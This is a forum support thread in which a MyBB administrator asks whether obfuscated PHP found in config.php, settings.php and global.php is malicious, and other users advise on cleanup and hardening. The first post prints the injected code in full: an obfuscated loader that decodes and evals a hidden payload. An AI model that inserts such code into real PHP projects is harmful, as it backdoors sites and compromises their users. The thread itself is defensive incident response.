config.php file has been edited is this malicious?

[MarkW7]

This has been put in to config.php on another forum I look after.

Is it malicious? I also found it in settings.php

<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $iyvdqfcsis = 'feobz+sfwjidsb%x5c%x7860bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj!R#>q%x5c%x7825V<*#foponbsbq%x5c%x7825)323ldfidk!~!<**qp%x5c**WYsboepn)%x5c%x7825bss-%x5c%x7825r%x5c%x7878B%x5c%x7825h>#]y31]2x7825c:>1<%x5c%x7825b:>1<!gps)%x5c%x7825j:>1<%x51-bubE{h%x5c%x7825)sutcvt)!gj!|!*bubE{h%x5c%x7825)jx7824)#P#-#Q#-#B#-#T#-#}5w6Z6<.5%x5c%x7860hA%x5c%x7#<!%x5c%x7825tww!>!%x5c%x782400~:<h%x5c%x7825_t%x%x7825)!gj!|!*1?hmg%x5c%x7825)!gj!<**2-4-bubE{h%x5c9%51%x29%73", NULL); f2!>!bssbz)%x5c%x7824]25%x5c%x7824-%x5c%x7824-!%x5c%x7825%x5c%x78c%x7824Ypp3)%x5c%x7825cB%x5c%x7825iN}#-!tussfw)%jpo!%x5c%x7824-%x5c%x7824y7%x5c%x7824-%x5c%x%x5c%x7825!-#2#%x5c%x782f#%x5c%x7825#%x5c%x782f#o]#%x5c%x7uf%x5c%x7860gvodujpo)##-!#~<#%x5c%x782f%x5c%x7825%x5c%x7824-%x5c%x7%x787fw6*3qj%x5c%x78257>%x5c%x7827]y74]275]y7:]268]y7f%x5c%x787f!>>%x5c%x7822!pd%x5c%x7825)!gj}Z;h!opjudovg}{;#)tut5c%x7825:osvufs:~:<*9-1-r%x5c%x7825)s%272qj%x5c%x7825)7gj6<**2qj%x5***b%x5c%x7825)sf%x5c%x7878pmpusut!-#j0#!%x5c%x782f!**#sfmcnbs+y78:-!%x5c%x7825tzw%x5c%x782f%x5c%x5c%x7825bbT-%x5c%x7825bT-%x5c%x7825hW~%x5c%x7825fdy)#<%x5c%x7825tmw!>!#]y84]275]y83]273]y76]277#<%x5c%x7825t2w>#]2%164") && (!isset($GLh>EzH,2W%x5c%x7825wN;#-Ez-1H*WCw*[!%x5c%x7825rN}#QwTW%x5c%xc%x78246767~6<Cw6<pd%x5c%x782q%x5c%x7825>U<#16,47R57,27R66,#%x5c%x782fq%x5c%x7825>0{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopd%} @error_reporting(0); preg_rep5c%x7825)m%x5c%x7825=*h%x5c%x7825)m%x5cx5c%x782f#%x5c%x782f#%x5c%x782f},;#-#}+;%x5c%x7gj!<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x7825!*72!7824*<!%x5c%x7824-%x5c%x7824gps)%x5c%x7825j>1<%x5c%x7825r%x5c%x7878<~!!%x5c%x7825s:N}#-%x5c%x7825o:W%x5c%%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-bubE{h%x5c%x7825)%x5c%x7825epnbss-%x5c%x7825r%x5c%x7878W~!Ypp2)%x5c%x71"]=1; function fjfgg($n){return chr(ord($n)-1);pde#)tutjyf%x5c%x78604%x5c%x78223}!+!:>1<!fmtf!%x5c%x7825b:>y74]273]y76]252]y85]256]y6g]257]y86]26c%x78257-K)fujs%x5c%x78{hnpd!opjudovg!|!**#j{hnpd#)tutjyf%x5%x785csboe))1%x5c%x782f35.)1%x5c%x782f82f*)323zbe!-#jt0*?]+^?]_%x5c%x785c0]=])0#)U!%x5c%x7827{**u%x5c%x782512]445]43]321]464]284]364]6]234]342]58]24]31#-%x5c%x7825tdz*W%x7825!-uyfu%x5c%x7825)3of)fepdof%x5c%5)ufttj%x5c%x7822)gj6<^#Y#%x5c%x785cq%x5c%x7825%x5c%x7827Y%x5c%x78256825)kV%x5c%x7878{**#k#)tutjyf%x5c%x7860%x5c%x7878%x5c%x7822l:D2P4]D6#<%x5c%x7825G]y6d]281Ld]245]K2]c%x7825!*##>>X)!gjZ<#opo#>b%x5c%x7825!**X)uf825zB%x5c%x7825z>!tussfw)%x5c%x7825zW%x5c%x7825!%x5c%x7825i%x5c%x785c2%x5c%x7822!ftmbg)!gj<*#k#)usbut%x5c%x7860cpV%x5c%x7jgk4%x5c%x7860{6~6<tfs%x5c%78X6<#o]o]Y%x5c%x78257;utpI%x5c%x7825s:%x5c%x785c%x5c%x7825j:.2^,%x5c%x7825b:<!%x5c%x74-%x5c%x7824!>!tus%x5c%x7860sfqmbdf)%x5c%x7825%x5cx7825w6<%x5c%x787fw6*CWtfs%x5c5c%x78257-K)udfoopdXA%x5c%x7822)7gj6<*QDU%x5c%x7860#Qi%x5c%x785c1^W%x5c%x7825c!>24-%x5c%x7824*!|!%x5c%x7824-%x5c%x7824%x5c%x7271]y7d]252]y74]256#<!%x5c%x7825fb%x5c%x7825))!gj!<*#cd#<%x5c%x7825fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]D825)}.;%x5c%x7860UQPMSVD!-id%x5c%x7825)uqpuft%x5c%x787f%x5c%x787f%x5c%x787f%x5c%x787f<u%x5c%x7825V%x5c%x78277825j=tj{fpg)%x5c%x782f!|!*uyfu%x5c%x7827k:!ftmf!}Z;^nbsbq%x5c%x7825%x5c%x7848]y83]256]y81]265]y72]254]y76]61]y33]68]y34]68]y33]65]y31]53]y67825hIr%x5c%x785c1^-%x5c%x7825r%x5c%x785c2^-%x5c%x7825c%x7824%x5c%x782f%x5c%x7825kj:-!OVMM*<(<%x5c%x78e%x5c%x7x5c%x7825%x5c%x787f!<X>b%x5c%x7825Z<#opo#>b%x5:Qb:Qc:W~!%x5c%x7825z62%x35%165%x3a%146%x21%7%x7825)sutcvt)esp>hmg%x5c%x7825!<12>j%x5c%x7825!|!*#91y]c9y]g2y]#>>*4-7825j,,*!|%x5c%x7824-%x5c%x7824gvodu2q%x5c%x7825<#g6R85,67R37,18c%x7860FUPNFS&d_SFSFGFS%x5c%x7860%x7825):fmji%x5c%x7878:<#5c%x7825yy>#]D6]281L1#%x5c%x782f#M5]DgP5]D6Z6<.4%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.3%x25)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j%x%x785cq%x5c%x7825%x5c%x7827jsv%x5c%x782c%x7825ggg)(0)%x5c%x782f+*0f(-!#]y76]277]y72]265]y39]271]y83]256]y78]2%x7824-%x5c%x7824y4%x5c%x7824-%x5c%x7824]y8%x5c%x7824-%x5c%x7824]26%x5x786057ftbc%x5c%x78725j:>>1*!%x5c%x7825b56-%x5c%x7878r.985:52985-t.98]K4]65]D8]86]y31]278]ytjw)#]82#-#!#-%x5c%x7825tmw)%x5c%x7825twwx5c%x7825!osvufs!*!+A!>!{e%x5c%x7825)!>>285]Ke]53Ld]53]Kc]55Ld]55#*<%x5c%x7825bG9}:}hOh%x5c%x782f#00#W~!%x5c%x7825t2w)##Q827pd%x5c%x78256<pd%x5c%x7825w6c%x7824-%x5c%x7824<%x5c%xtpqsut>j%x5c%x7825!*9!%x5c%x7827!hmg%x5c%x7825)!gj!~<ofc%x7825)hopm3qjA)qj3hopmA%x5c%x78273qj%x5cx782fqp%x5c%x7825>5h%x5c%x7825!<*::::::-111112)eobs5f%155%x61%160%x28%42%x66%152%x66%147%x67%73]y76]271]y7d]252]y74]256#<!%x5256~6<%x5c%x787fw6<*K)ftpmdXA6|7**197-2qj%xc%x7825)euhA)3of>2bd%x5c%x7825!<5h%x5c%x7825%x5c%x782f#0#%x5c%x]#>m%x5c%x7825:|:*r%x5c%x7825:-t%x5c%x7825)3of:opjudovg<~%x5c|Z~!<##!>!2p%x5c%x7825!|!*!my%x5c%x7825,3,j%x5c%x7825>j%x5c%x7825!<**3-j%%x785c%x5c%x7825j:^<!%x5c%x7825w%x5c%x7860%x5c%x785c^>Ew;zepc}A;~!}%x5c%x787f;!|!}{;)gj}l;33bq}k;opjudovg}%x5c%x7878;825c:>%x5c%x7825s:%x5cx5c%x7824tvctus)%x5c%x7825%x5825!<*qp%x5c%x7825-*.%x5ttj%x5c%x7822)gj!|!*5cSFWSFT%x5c%x7860%x5c%x7825}X;!sp!*#opo#>>}R;msv}.;%]y74]256]y39]252]y83]273]y72]282#<!%x5c%x7825tj^<!Ce*[!%x5c%x7825cIj860msvd},;uqpuft%x5c%x7860msvd}+;!>!}%x5c%x7827;!>>>!}_;gvc%x5c%x786%x21%50%x5c%x7825%x5c%x7878:!>#]y3g]61]y3f]63]ygA%x5c%x7827doj%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#fmf_*#fubfsdXk5%x5c%x7860{66~6<&w6<%x5c%x787fw6*CW&)7gj6<*dow!>!#]y84]275]y83]248]y83]256]y81]265]y72]254]y76#c%x7824-%x5c%x7824b!>!%x5c%x7825yy)#}#-#%x5c%x7824-%x5c%x782*27-SFGTOBSUOSVUFS,6<*msv%x5c%x78257-MSV,6<*)ujojR%x5c%x7827MPT7-NBFSUT%x5c%x7860LDPT7-UFOJ%x5c%x7860GB)fubfsdXA%x5c%x7827K6<%x5c{ftmfV%x5c%x787f<*X&Z&S{ftmfV%x5c%x787opjudovg}k~~9{d%x5c%x7825:osvufs:~928>>%x5c%x7822:ftmbg39*56A:>:8:|]274]y85]273]y6g]273]y76]271]y7d]252-rr.93e:5597f-s.973:8297f:5297e:)gpf{jt)!gj!<*2bd%x5c%x7825-#1GO%x5c%x7822#)fepmqyfA>2b%x5c%x7c%x7860opjudovg%x5c%x7822)!gj}1~!<2p%x5c%x7825%x5c%x787f!~!<x5c%x7827tfs%x5c%x78256<*17-SFEBFI,6<*127-UVPFNJU,6<5c%x78257UFH#%x5c%x7827rfs%x5c%x78x5c%x7825-bubE{h%x5c%x7825)sutcvt-#w#)ldb5c%x7825w6Z6<.2%x5c%x7860hA%x5c%x7827pd%x5c%x7825c%x7860hA%x5c%x7827pd%x5c%x78256<pd%xf#<%x5c%x7825tdz>#L4]275L3]248L3P6L1M5]#7>%x5c%x782f7rfs%x5c%x78256<#o]1%x5c%x782f20QUUI7jsv%xif((function_exists("%x6f%142%x5f%163%x74%141%x7>2*!%x5c%x7825z>3<!fmtf!%x5c%x7825z>2<!%x5c%x7825w]y81]273]y76]258]y6g]273]y76]QeTQcOc%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%x5c%x7878Bsfuvso!sboepn)M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*%x5%160%x6c%157%x64%145%x28%141%x72%162%x61%171%x%x5c%x7824<!%x5c%x7825mm!>!#5c%x7825-bubE{h%x5c%x7825)sutcvt)fubmgoj{hA!osvufs!782f*#npd%x5c%x782f#)rrd%x5c%x782f#00;quui#>.%x5c%x7825!<***f%x5x5c%x7860ufh%x5c%x7860fmjg}[;ldpt%x5c%x7825}K;%x5c%x7860ufldpt}X;%x5c824!>!fyqmpef)#%x5c%x7824*<!%x5c%x7825kj:!>!#]y3d]51]y35]256]y76]72v{h19275j{hnpd19275fubmgoj{h1:|:*mmvo:>:iuho.}-}!#*<%x5c%x7825nfd>%x5c%x7825fdy<Cb*[%x]73]83]238M7]381]211M5]67]452]88]5]48]32M3]317]445]2x782f7&6|7**111127-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji#:>:h%x5c%x7825:<#64y]552]e7y]#>n%x5c%x7825<#372]58y]472]37)!sp!*#ojneb#-*f%x5c%x7825)sf%x5c%x7878pmpusut)tpqssutRe%x5cM4P8]37]278]225]241]334]368]322]3]364]6]283]427]36]373P6]365c%x7825h!>!%x5c%x7825tdz)%j%x5c%x78257-C)fepmqnjA%x5c%x7827&6<.fmjlace("%x2f%50%x2e%52%x29%57%x65","%x65%166%x61%154%x28%151%x6d56<C>^#zsfvr#%x5c%x785cq%x5c%x78257**^#zsfvr#%x5c%x785cq%x5c%x782~<3,j%x5c%x7825>j%x5c%x7825!*3!%x5c%x7827!hmg%x5c%x7825!)!42%x2c%163%x74%162%x5f%163%x70%154%x69%164%50%x22%134%x78%vr#%x5c%x785cq%x5c%x78257%x5c%x782f7#@#7%x5c%x782f7^#iubq#%x5c3:]68]y76#<%x5c%x78e%x5c%x78b%x5c%x7825w:!>!%x5x5c%x7824<%x5c%x78e%x5c%x78b%x5c%x7825mm)%x5c%x7825%x5c%x784-tusqpt)%x5c%x7825z-#:#*%x5c%x782E#-#G#-#H#-#I#-#K#-#L#-#f<*XAZASV<*w%x5c%x7825)ppde>u%x5c%x7825V<#65,4##!>!2p%x5c%x7825Z<^2%x5c%x785c2b%x5c%x7825!>!2p%xqov>*ofmy%x5c%x7825)utjm!|!*5!%x5c%x7827!hmg%x5c%x7825)7gj6<*id%x5c%x7825)ftpmdR6<*id%x5c%x7825)dfyfR%!}V;3q%x5c%x7825}U;y]}R;2]},;osvufs}%x5c%x7827;mnui}&%x5c%x7860un>qp%x5c%x7825!%x7825)Rd%x5c%x7825)RQUUI&c_UOFHB%x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825!|!*)323zbek!~!<b%5-#+I#)q%x5c%x7825:>:r%x5c%x7825:|:**t%xc%x7825j:=tj{fpg)%x5c%x7825s:*<%x5c%x7825j:,,Bjg!)%x5c%x78sfuvso!%x5c%x7825bss%x5c!>!%x5c%x78242178}527}88:}334}472%x78256<*Y%x5c%x7825)fnbozcYufhA%x5c%x78272qj%x5c%x78256<^#zsfldfid>}&;!osvufs}%x5c%x787f;!fm%x5c%x7825:-5ppde:4:|:**#p5c%x7825!*3>?*2b%x5c%x7825GMFT%x5c%x7860QIQ&f_UTPI%x5c%x7860QUUI&e_SEEB%x5<+{e%x5c%x7825+*!*+fepdfe{h+{d%x5c%x7825)+opjudovg+)!gj+{e%25}&;ftmbg}%x5c%x787f;!osvufs}w;*7R25,d7R17,67R37,#%x5c%x782f56|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf%x5c%x7827*&7-n%x5c%x7]y3d]51]y35]274]y4:]82]y3:]62]y4c#<!%x5c%x7825t::!>!%x5#-!#~<%x5c%x7825h00#*<%x5c%x7825nfd)##Qtpz)#]341]88OBALS["%x61%156%x75%156%x61"])))) { $GLOBALS["%x61%156%x75%156%x6jyf%x5c%x7860opjudovg)!gj!|!*msv%x5c%x78827)fepdof.)fepdof.%x5c%x782f#@#%x5c%%x7860msvd}R;*msv%x5c%x755946-tr.984:75983:48984:71]K9]w2)%x5c%x7825w%x5c%x7860TW~%825-qp%x5c%x7825)54l2]18y]#>q%x5c%x7825<#762]67y]562]38y]572]48y%x5c%x782f!#0#)idubn%x5c%x7860hfsqy]672]48y]#>s%x5c%x7825<#462]47y]253f]51L3]84]y31M6]y3e]81#%x5c%x782f#7e:85c%x5c%x7825j^%x5c%x7824-%<.msv%x5c%x7860ftsbqA7>q%x5c%x78256<%x5c%x787fw6*%x5c%x787x5c%x7825>%x5c%x782fh%x5c%x7825:<**#57]38y]47]67y]37]88y]27]28id%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#ujojRk3%x5c%x7860{%x7824<!%x5c%x7825o:14+9**-)1%x5c%x782f2986+7**^%x5c%x782f%x5c%x!>2<!gps)%x5c%x7825j>1<%x5c%x7825j=6[%xd]281]y43]78]y33]65]y31]55]y85]82]y76]62]y3:]84#-!OVMM*<%x22%51%x2666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A%x5c%x78b%x5c%x7825ggg!>!#]y81]273]y76]258]y6g]256<C%x5c%x7827pd%x5c%x7825c%x7825ww2!>#p#%x5c%x782f#p#%x5c%x782f%x5c%x7825z<jg!)%x5c%x7825z>%x5c%x78786<C%x5c%x7827&6<*rfs%x577]D4]82]K6]72]K9]78]K5]53]Kc#<%x5c%x7825tpz!>!#]D6M7]K3#<%x:7#6#)tutjyf%x5c%x7860439275ttfsqnpdo2bge56+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_y]#%x5c%x782fr%x5c%x7825%x5c%x782fh%x5c%x7825)n%x5c%x782825)utjm6<%x5c%x787fw6*CW&)7gj6<*K)ftpmdXA6~6<u%x5c%x78257>%x5c%}X%x5c%x7824<!%x5c%x7825tzw>!#]y76]277]y72]265]y39-#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u5%x5c%x7824-%x5c%x7824*<!~!dsfbc%x7827,*e%x5c%x7827,*d%x5c%x7827,*c%x5c%x7827,*b%x5c%x7}%x5c%x7827;%x5c%x7825!<*#}_;#)323x5c%x7825c*W%x5c%x7825eN+827&6<%x5c%x787fw6*%x5c%x787f_*#[k2%x5c%x786V;hojepdoF.uofuopD#)sfebfI{*w%x5c%x778]y3e]81]K78:56985:6197g:74985/(.*)/epreg_replaceozgqjjcldd'; $vajdmoavcf = explode(chr((259-215)),'6059,48,1138,22,8520,65,1748,48,1341,31,7046,62,6285,46,4343,42,7231,58,3348,24,5057,48,7351,47,1219,29,315,27,4139,31,3607,62,5927,38,5879,48,9373,25,8351,63,9701,64,6748,53,9465,33,1894,23,2520,27,6004,55,5804,34,4417,43,2686,51,5388,69,745,33,898,29,4250,42,8038,62,7289,62,3707,39,7108,65,2160,69,8943,58,5160,58,7006,40,5105,55,2493,27,2656,30,7659,54,5752,52,5328,60,9063,58,9290,42,9995,44,1301,40,6474,69,8662,24,2923,52,4990,67,8290,33,799,61,8585,40,3669,38,6359,51,7173,58,1458,65,1628,67,4195,55,4611,46,5838,41,7611,48,391,51,3372,70,240,51,1917,37,5692,60,7561,50,8157,26,5630,62,4825,24,4460,63,6410,64,9880,56,8625,37,4292,51,7766,26,4584,27,927,64,0,67,8809,34,6860,60,7792,21,2844,22,9595,50,8183,48,3506,33,7813,70,3281,46,2328,44,4849,20,89,37,2122,38,3886,20,3053,54,4869,53,1411,47,8745,20,9936,34,8100,29,5495,67,9558,37,6610,44,8129,28,1796,37,8231,59,4018,40,2442,51,2975,56,5457,38,7515,46,8323,28,1248,53,3478,28,67,22,10039,36,2229,61,7713,53,4713,22,4735,39,2027,34,9815,34,620,58,1992,35,9765,50,5562,36,4922,47,5218,50,1078,60,1856,38,778,21,342,49,860,38,9001,62,9645,56,7883,40,1372,39,3539,25,6801,59,8843,35,8765,44,4523,61,9121,20,8005,33,6331,28,6157,29,2811,33,463,65,2766,45,8916,27,4796,29,5268,60,7457,34,2606,50,3816,70,4170,25,3442,36,576,44,1523,52,3031,22,9849,31,678,67,6543,67,8414,55,528,48,9970,25,2737,29,2419,23,4969,21,6186,65,1695,53,2372,47,1160,59,3171,54,4102,37,3977,41,126,66,10075,31,5598,32,3926,51,8878,38,8686,31,9498,60,3564,43,2866,57,5965,39,2290,38,4058,44,6654,42,6979,27,1024,54,8469,51,6920,59,6696,52,2061,61,7981,24,1954,38,9141,44,1575,53,192,48,7923,58,3906,20,1833,23,2547,59,4774,22,4657,56,3327,21,9185,39,9398,67,6107,50,8717,28,7398,59,991,33,291,23,7491,24,6251,34,3225,56,9332,41,4385,32,3746,70,3107,64,9224,66,442,21,314,1'); $znuntokdsf=substr($iyvdqfcsis,(67999-57893),(22-15)); if (!function_exists('ilytvjpmtu')) { function ilytvjpmtu($kcvshvbpgf, $hracorzowb) { $xotisemenx = NULL; for($nqolsgcutk=0;$nqolsgcutk<(sizeof($kcvshvbpgf)/2);$nqolsgcutk++) { $xotisemenx .= substr($hracorzowb, $kcvshvbpgf[($nqolsgcutk*2)],$kcvshvbpgf[($nqolsgcutk*2)+1]); } return $xotisemenx; };} $fmitxmowyz="\x20\57\x2a\40\x76\172\x64\172\x79\152\x70\147\x61\170\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\65\x32\55\x31\61\x35\51\x29\54\x20\143\x68\162\x28\50\x33\71\x38\55\x33\60\x36\51\x29\54\x20\151\x6c\171\x74\166\x6a\160\x6d\164\x75\50\x24\166\x61\152\x64\155\x6f\141\x76\143\x66\54\x24\151\x79\166\x64\161\x66\143\x73\151\x73\51\x29\51\x3b\40\x2f\52\x20\154\x72\154\x6d\157\x7a\156\x6b\143\x64\40\x2a\57\x20"; $mezywdsgpy=substr($iyvdqfcsis,(66479-56366),(40-28)); $mezywdsgpy($znuntokdsf, $fmitxmowyz, NULL); $mezywdsgpy=$fmitxmowyz; $mezywdsgpy=(594-473); $iyvdqfcsis=$mezywdsgpy-1; ?><?php

[.m.]

do you have wordpress installation with mailpoet plugin - if so see this
and you may have to check all files in both wordpress & MyBB

[dragonexpert]

It certainly is not the default config.php file. I recommend making a new config.php file. Fill in with the correct values.

<?php
/**
 * Database configuration
 *
 * Please see the MyBB Docs for advanced
 * database configuration for larger installations
 * http://docs.mybb.com/
 */

$config['database']['type'] = 'mysqli';
$config['database']['database'] = '';
$config['database']['table_prefix'] = 'mybb_';

$config['database']['hostname'] = 'localhost';
$config['database']['username'] = '';
$config['database']['password'] = '';

/**
 * Admin CP directory
 *  For security reasons, it is recommended you
 *  rename your Admin CP directory. You then need
 *  to adjust the value below to point to the
 *  new directory.
 */

$config['admin_dir'] = 'admin';

/**
 * Hide all Admin CP links
 *  If you wish to hide all Admin CP links
 *  on the front end of the board after
 *  renaming your Admin CP directory, set this
 *  to 1.
 */

$config['hide_admin_links'] = 0;

/**
 * Data-cache configuration
 *  The data cache is a temporary cache
 *  of the most commonly accessed data in MyBB.
 *  By default, the database is used to store this data.
 *
 *  If you wish to use the file system (cache/ directory), MemCache, xcache, or eAccelerator
 *  you can change the value below to 'files', 'memcache', 'xcache' or 'eaccelerator' from 'db'.
 */

$config['cache_store'] = 'db';

/**
 * Memcache configuration
 *  If you are using memcache as your data-cache,
 *  you need to configure the hostname and port
 *  of your memcache server below.
 *
 * If not using memcache, ignore this section.
 */

$config['memcache']['host'] = 'localhost';
$config['memcache']['port'] = 11211;

/**
 * Super Administrators
 *  A comma separated list of user IDs who cannot
 *  be edited, deleted or banned in the Admin CP.
 *  The administrator permissions for these users
 *  cannot be altered either.
 */

$config['super_admins'] = '1';

/**
 * Database Encoding
 *  If you wish to set an encoding for MyBB uncomment
 *  the line below (if it isn't already) and change
 *  the current value to the mysql charset:
 *  http://dev.mysql.com/doc/refman/5.1/en/charset-mysql.html
 */

$config['database']['encoding'] = 'utf8';

/**
 * Automatic Log Pruning
 *  The MyBB task system can automatically prune
 *  various log files created by MyBB.
 *  To enable this functionality for the logs below, set the
 *  the number of days before each log should be pruned.
 *  If you set the value to 0, the logs will not be pruned.
 */

$config['log_pruning'] = array(
	'admin_logs' => 365, // Administrator logs
	'mod_logs' => 365, // Moderator logs
	'task_logs' => 30, // Scheduled task logs
	'mail_logs' => 180, // Mail error logs
	'user_mail_logs' => 180, // User mail logs
	'promotion_logs' => 180 // Promotion logs
);

$config['secret_pin'] = "";

?>

[MarkW7]

There's only a MyBB installation for that website. I've removed it out of the top of the config.php file and re-uploaded it so we shall see if it re-appears.

I only have these plugins enabled:
Advanced Quick Reply Form (2.2.0)
Advanced Sidebox (2.1)
Show the users that has been online today (2.0)
Registration Security Question (1.2)
Stop Forum Spam (1.4)

I'm going to check all chmod perms and do some further MyBB hardening.

What other files are most common to be edited and I'll check those?

[dragonexpert]

global.php, and inc/settings.php are other primary target because they loaded on every page.

You can actually use the Tools & Maintenance->File Verification in the ACP.

[MarkW7]

It looks like the same code was in global.php inc\config.php and inc\settings.php

File Verification is coming back OK.

The site is running 1.6.15 would upgrading to 1.8.2 be worthwhile / does it fix any bugs?

[Diogo Parrinha]

You should look into all folders for extra PHP files. The attacker likely left a shell somewhere else.

[Josh H.]

Rule of thumb: If you absolutely cannot make sense of some code that's in your config.php file, it's malicious. The code in there should be pretty dang readable.

[MarkW7]

@Pirata, I've just run through the original upload folder and the public_html of the files I downloaded yesterday and looking at the differences in WinMerge I cannot see any obvious additional files that are only uploaded it's mainly just plugin and theme files.

Files uploaded should be clean now, I've .htaccess the inc folder off plus some other things. It must be a plugin but not sure how to find out which one.

[dylanhart]

You may want to reinstall all of your myBB core files, it looks like an attacker put effort into obfuscating some code they didn't want you to be able to read.